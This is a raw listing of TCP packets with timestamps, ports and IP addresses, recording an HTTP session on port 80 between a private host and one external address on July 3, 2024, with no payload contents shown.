Jul 3, 2024 23:59:06.990395069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990400076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990403891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990416050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990433931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990444899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990447044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990454912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990466118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990473986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990477085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990483999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990493059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990494013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990515947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990540028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.990968943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990978956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990988016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.990995884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991007090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991015911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991022110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991024971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991030931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991035938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991046906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991053104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991060972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991086960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991385937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991395950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991413116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991421938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991430998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991436958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991441011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991452932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991458893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991462946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991477013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991483927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991487026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:06.991497040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991518974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:06.991538048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.023943901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.028703928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206480026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206502914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206511974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206516981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206526041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206535101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206543922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206593037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206603050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206612110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206638098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206640005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206649065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206659079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206675053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206681967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206696033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206707954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206826925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206837893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206845999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206855059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206871986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206885099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206906080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.206938982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206948996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206957102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206965923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.206978083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207009077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207071066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207082033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207108974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207113981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207119942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207145929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207165956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207206011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207243919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207262993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207273006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207281113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207288980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207303047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207325935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207523108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207532883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207541943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207551003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207559109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207566977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207570076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207578897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207581043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207592010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207601070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207611084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207631111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207642078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207861900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207871914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207881927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207890034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207900047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.207906008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207916975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.207947969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208046913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208056927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208065033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208074093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208089113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208106995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208129883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208201885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208211899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208220005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208229065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208236933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208244085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208251953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208260059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208264112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208273888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208275080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208283901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208292961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208304882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208317995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208334923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208698988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208709955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208717108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208725929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208736897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208745003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208753109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208755970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208765984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208775997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208777905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208785057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208795071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208796024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208807945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.208813906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208832979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.208838940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209132910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209142923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209151030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209160089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209163904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209172964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209175110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209193945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209194899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209203959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209213018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209213972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209222078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209228992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209235907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209244967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209249020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209259987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209264994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209270954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209296942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209315062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209796906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209806919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209815025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209824085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209827900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209836960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209837914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209855080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209862947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209867001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209877014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209882021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209888935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209897995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209911108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209918976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209924936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209928036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209940910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209948063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209956884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209958076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209965944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209968090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209979057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209986925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.209994078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.209997892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210006952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210014105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210016966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210030079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210042000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210683107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210695028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210702896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210711956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210720062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210728884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210737944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210738897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210747957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210757971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.210768938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210779905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.210793972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312158108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312174082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312186003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312222004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312237978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312263012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312274933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312284946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312295914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312303066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312329054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312516928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312527895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312539101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312547922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312557936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312565088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312570095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312581062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312583923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312592030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312599897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312603951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312622070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312624931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312650919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312659979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312845945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312856913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312872887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312884092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312886953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312895060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312906027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312906981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312916994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.312921047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312948942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.312958002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313008070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313019037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313029051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313038111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313047886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313052893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313059092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313070059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313071966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313081026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313091040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313097000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313102007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313112974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313116074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313122988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313138962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313141108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313168049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313180923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313819885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313828945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313838005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313847065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313863039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313863039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313874006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313879013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313886881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313889027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313899040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313909054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313909054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313920021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313921928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313930988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313941002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313950062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313951969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313963890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313971043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313975096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313986063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.313991070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.313997984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314007998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314012051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314027071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314029932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314043045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314050913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314053059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314066887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314075947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314078093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314090967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314121008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314750910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314762115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314771891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314780951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314795971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314801931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314812899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314815998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314827919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314836979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314841986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314847946 CEST	80	49730	85.28.47.4	192.168.2.4
